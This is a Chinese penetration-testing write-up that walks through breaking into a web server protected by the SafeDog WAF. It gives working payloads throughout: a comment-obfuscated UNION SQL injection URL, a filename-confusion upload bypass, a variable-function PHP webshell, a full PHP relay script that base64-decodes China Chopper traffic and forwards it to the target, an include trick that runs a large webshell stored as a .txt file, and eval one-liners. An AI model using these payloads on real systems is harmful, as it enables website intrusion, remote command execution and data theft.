WEB安全--渗透笔记

时间:2023-03-09 06:17:53
WEB安全--渗透笔记

前言

服务器被攻击是常有的事,自从上一次被注入挂马后最先想到的是安全狗,最新版的安全狗软件可以抵挡大部分的恶意攻击,但是却有很多网站管理员疏于管理,才有了接下来的入侵。

我们的攻击目标近期上线了安全狗服云平台,官方宣传是服务器安全管理云平台,能够对服务器进行批量安全管理,功能包括了服务器安全健康监控、服务器安全保护、7*24小时资源和系统监控、云端批量服务器管理,同时还有强大的告警功能。是否安装了安全狗就真的是这么安全吗?让我先来测试下吧。

目录

⊙一、找到注入点

⊙二、绕过SQL注入过滤

⊙三、登录后台

⊙四、插入木马

⊙五、绕过安全狗上传文件

⊙六、通过跳板连接目标机

⊙七、上传大型木马

⊙八、连接目标机

⊙九、绕过安全狗的检测上传大马

⊙备注:补充知识

一、 找到注入点

找到注入点http://192.168.1.3/typeid.php?typeid=1,使用’检查注入点是否存在,页面的公司简介位置会消失 ,说明存在注入点。

WEB安全--渗透笔记
图1

继续使用order by测试数据表列数。发现有5列。在使用and和union select的时候发现果然被安装的安全狗拦截了。

WEB安全--渗透笔记
图2

*补充安全狗(waf)知识

WAF(Web Application Firewall)——Web应用防御

目前市场上的WAF主要有以下几类

1. 以安全狗为代表的基于软件应用的WAF

2. 百度加速乐、安全宝等部署在云端的WAF

3. 硬件WAF

WAF的检测主要有三个阶段,我画了一张图进行说明

WEB安全--渗透笔记
图3

经过测试发现,安全狗这块的匹配正则应该是\s+and这类的形式,也就是空字符(包含空格)后匹配敏感字符,所以只要想办法去掉空格安全狗就无法匹配,用普通注释/**/是不行的,安全狗也防了这块,直接匹配/**/。但是对内联注释/*!and*/这种形式安全狗读到了注释符号就将注释内的内容当做了正常的注释信息将信息放过。

二、 绕过SQL注入过滤

用下面语句成功绕过SQL注入过滤:http://192.168.1.3/typeid.php?typeid=1/*!and*/1=2%20/*!union*//*!select*/1,2,3,4,5

WEB安全--渗透笔记

图4

成功绕过了安全狗。可以看到,安全狗也是通过对用户输入的字符进行过滤,WAF身份认证阶段的绕过WAF是有一个白名单的,在白名单内的客户请求将不做检测。绕过策略一:伪造搜索引擎早些版本的安全狗是有这个漏洞的,就是把User-Agent修改为搜索引擎,便可以绕过,进行sql注入等攻击。可以使用GOOGLE插件,修改User-Agent(User-Agent Switcher)。

三、 登录后台

在注入得到管理员身份信息之后就可以“明目张胆”地访问ip/admin登录后台了,进入后台算是拿到了站点大部分的权限和信息(对于一个服务器只含有一个网站的情况)。

WEB安全--渗透笔记
图5

四、 插入木马

登陆网站后台,后可以有很多选项,很多CMS后台中会有修改配置文件的编辑器,只要合适灵活的利用,就可以向网站配置文件中插入一句话木马。

五、 绕过安全狗上传文件

另一种思路就是寻找后台的上传点,但是当然安全狗也会防止上传文件,

WEB安全--渗透笔记
图6

我们通过burp把上传的HTTP包抓下来,然后自己进行一下修改POST数据。经过了一些实验,直接说结果吧,当增加一处文件名和内容,让两个文件名不一致的时候,成功绕过了安全狗的防护,上传了php文件。原因是安全狗进行文件名匹配时候用的是第一个文件名test.jpg,是复合安全要求的,但是webserver在保存文件的时候却保存了第二个文件名test.php,也就是if(security_check(a)){do(b);},导致安全检查没有用,php文件已经成功上传了:

WEB安全--渗透笔记
图7

WEB安全--渗透笔记
图8

这样的上传数据可能是不符合RFC规范的,但是却达到了绕过拦截的目的。结论是每种安全检查一定要在对应的层次做检查,而不能想当然的在WEB层做系统层该做的事情。

六、 通过跳板连接目标机

安全狗会将普通的eval一句话木马会过滤了。首先要知道安全狗防webshell仍然是依靠文件特征+HTTP来判断,但webshell真正执行是在脚本层,检查的层次不对当然也是可以轻易绕过去的。因为php里面函数名都可以是变量,文件里哪还有特征啊,所以原来使用一个参数作密码的一句话木马怎么去绕过?我们将使用的连接系统shell的函数也写成一个变量使用web端传进去就可以绕过安全狗了。那么现在的一句话就变成了:<?php$_REQUEST['a']($_REQUEST['b']);?>,a参数是我们请求系统shell的函数,而b参数则是执行的命令。上传后:

WEB安全--渗透笔记

图9

我们使用双参数的webshell执行系统命令,可以看到成功绕过安全狗执行了。

WEB安全--渗透笔记

图10

七、 上传大型木马

接下来使用菜刀尝试连接小马,发现无法连接,因为安全狗将从http传入的小马的eval数据过滤了

WEB安全--渗透笔记

图11

那么我们在本地搭建一个web服务(有php服务器就可以),将eval数据进行base64加密后绕过安全狗,相当于一个跳板。创建一个shell.php如下:

<?php

$target="<a rel="external nofollow" href="192.168.1.3/install/shell.php";>";

$poststr='';

$i=0;

foreach($_POST as $k=>$v)

{

if(strstr($v, "base64_decode"))

{

$v=str_replace("base64_decode(","",$v);

$v=str_replace("))",")",$v);

}

else

{

if($k==="z0")

$v=base64_decode($v);

}

$pp=$k."=".urlencode($v);

//echo($pp);

if($i!=0)

{

$poststr=$poststr."&".$pp;

}

else

{

$poststr=$pp;

}

$i=$i+1;

}

$ch = curl_init();

$curl_url = $target."?".$_SERVER['QUERY_STRING'];

curl_setopt($ch, CURLOPT_URL, $curl_url);

curl_setopt($ch, CURLOPT_POST, 1);

curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$result = curl_exec($ch);

curl_close($ch);

echo $result;

?>

八、 连接目标机

之后使用菜刀连接我们的跳板,

WEB安全--渗透笔记

图12

成功连接目标机。

九、 绕过安全狗的检测上传大马

小马上传也还可能不满足我们最终提权的需求,那么大马能上传吗?正常的途径当然不行,但是不要忘记关键的php函数include,它会将可解析的php代码(无论存储的文件后缀是什么)解析为php执行。

那么我们上传一个dama.php内容为:<?phpinclude(‘logo.txt’);?>然后再向同一目录上传一个以log.txt命名的大马文件。当我们访问dama.php的时候将会包含执行了真正的大马logo.txt绕过了安全狗的检测。

十、 补充知识

<:section data-source="bj.96weixin.com"><:section ><:section >

1.SQL注入原理

1.1 SQL注入:即网站在编写的时候对入口参数(包括GET参数、POST参数、COOKIE参数等)过滤不严,使用户输入的数据混杂到了程序语言的查询语句中,导致用户可以绕过身份认证直接从web端获取数据库中各种信息。SQL注入需要针对不同版本型号的数据库使用不同的注入语句,常见的使用联合*(union)注入,盲注(基于时间型和布尔型)以及各种版本的报错注入。本次案例就使用了union联合查询注入获取了管理员的身份信息。

1.2 SQL注入的基本步骤:

(1)验证是否有注入点,以及参数类型使用正常的逻辑语言和错误的逻辑语言和原始参数进行连接观察页面是否会有不同的反应(id=1 and 1=2/id=1 and 1=1)如果是字符型的参数则需要添加单引号并闭合原始参数中的单引号。

(2)查询数据表中的列数,使用order by N进行查询,当页面出错的时候说明没有了那一列,证明列数就是N-1.

(3)如果页面有回显,那么就使用select 1,2,3,….N查询回显的位置。

(4)在有回显的位置替换为我们需要的查询语句

(5)首先收集用户名、版本、数据库名等有用信息帮助我们选择正确的注入语句。

(6)接下来利用information_schema表中的tables,columns,table_name,column_name,table_schema查询我们需要的表名、列名

(7)最后使用and 1=2 union select concat(column_name(我们要查询的列名如username,password),2,3,4,… from table_name(我们需要查询的表名如admin_user))查询得到最终数据。

2.上传文件的绕过

2.1一般的网站系统模板为了方便管理网站内容是允许上传的,而且如果是论坛类的模板还会在前台的论坛版块允许访客的上传。但是为了网站的安全一般会设置对文件上传类型的审核。按照审核的位置可以分为两类,一类是在客户端也就是浏览器前端的文件检查,第二类是在文件传输到服务器的时候在后端也就是服务器端进行检查。

2.2绕过前端检查——浏览器端的检查是很容易的,我们只需要使用抓包软件抓包,在文件信息传输之前修改为符合规则的文件,例如检测的是文件后缀名,我们就将上传文件后缀改名为.jpg,.png等图片类型文件,当客户端检查通过后再将后缀改回到我们需要上传的应用类型文件例如.php.asp等。思路都是一样的,只需要看客户端会检查文件的什么部分(常见的有文件后缀名,Content-type类型等)。当然前端检查文件一般使用的是脚本文件,我们也可以在前端执行检查之前禁用js达到绕过的目的,也可以使用最常用的00截断方式绕过。

2.3 绕过后端检查——我们是无法控制服务器的程序怎么运行的,只能取欺骗服务器。这是很多时候是利用服务器的解析漏洞。解析漏洞就是服务器对一个文件解析类型时,出现了未按照预期解析的情况。例如IIS的解析漏洞,我们创建一个目录将目录名称修改为xxx.asp(在IIS6.0的环境下),那么所有这个目录下的文件不管扩展名为什么,都会当做asp文件解析执行,上传的时候我们就上传普通txt或者图片马到这个目录就可以执行了。还有apache的解析漏洞,apache服务器会从后往前读取解析一个文件名,上传时,将文件名后添加一个不可解析类型的后缀名例如aaa.php.b检测的时候最后一个点后的是检测的后缀名,这是符合规则的,但是Apache解析的时候从后往前直到读取到一个可以识别的类型的时候才会用该方式执行,于是我们的服务器就会按照php的方式去解析这个文件了。

2.4 文件上传也可以配合其他漏洞利用,例如本地文件包含,php有一个函数include(),当这个函数的参数是用户可以控制的时候(例如是从GET或者POST参数读取的时候),我们就可以放心大胆的上传一个txt或者图片等允许上传的普通文件,当然内容是包含了木马代码的文件,最后利用include函数,包含上传的文件当做php文件去执行。

2.5 上面这种利用更多是为了绕过对文件内容的检查,很多时候光对文件的类型或者后缀名这些“表面工作”的检查已经不够安全,那么设计者通常会对文件的内容也执行检查。不过难不倒我们,各种文件千变万化,检查的毕竟是程序(人工也很难检查)很难逐字逐句的验证文件每个字节是否存在恶意代码。这时候我们就可以使用copy命令将一句话木马插入到一张正常图片中,插入后图片还能欧正常开启。再配合包含漏洞,就完美的绕过了检测。

图19

2.6 htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。

• 通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目标的访问、禁止目录列表、配置默认文档等功能。

图20

• 过程:建立.htaccess文件,新建.txt文件输入选择上传文件将木马文件后缀名改为.cimer上传成功,可访问木马

图21

2.7 最后可以利用一些网络第三方编辑器漏洞上传,修改允许上传的类型,将php,asp,jsp等文件类型加入到白名单。例如著名的Fckedit和EWebedit等编辑器。

3. 一句话木马的原理:

3.1"一句话木马"服务端(是用于本地的html提交脚本木马文件)

就是我们要用来插入到asp,php文件中的语句,该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完成相应的操作,服务端的代码内容为<?php @eval($_POST[‘value’]);?> 或者<%execute request("value")%> 其中value可以自己修改

"一句话木马"客户端(远程服务器上被插入一句话的可执行文件)

用来向服务端提交控制数据的,提交的数据通过服务端构成完整的asp,php功能语句并执行,也就是生成我们所需要的木马文件

3.2 具体执行过程:首先是JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行,后面的eval是一句话木马的精华部分,使用 eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了Request.form(#)+这句代 码,Request.form(#)的作用是读取客户端文件中html标记属性中name值被命名为#的部分

3.3: 所以我们可以在服务器端上传一个php或者asp木马文件,然后配合中国菜刀软件进行连接(POST[]中的内容就是连接密码,在菜刀软件填写木马地址的后面小框中填写)就可以操控目标主机,可以对其进行文件管理查看,数据库连接(如果知道数据库的配置),甚至使用web用户在虚拟终端中执行系统命令,也就是说甚至直接使用一句话木马就可能直接进行提权。

结束语:

上文以攻击一个“某公司门户网站”为案例,尝试在安装了安全狗的环境下尝试绕过安全狗测试SQL注入,上传漏洞,一句话木马菜刀连接以及大马的利用,可以说已经让防护软件千穿百孔,我们就像在一个普通环境中进行攻击。所谓“魔高一尺道高一丈”。此次案例正是因管理员使用了旧版的安全狗,导致网站被黑,安全狗正在不断更新发展中,我们钻研安全技巧的路也不会停止!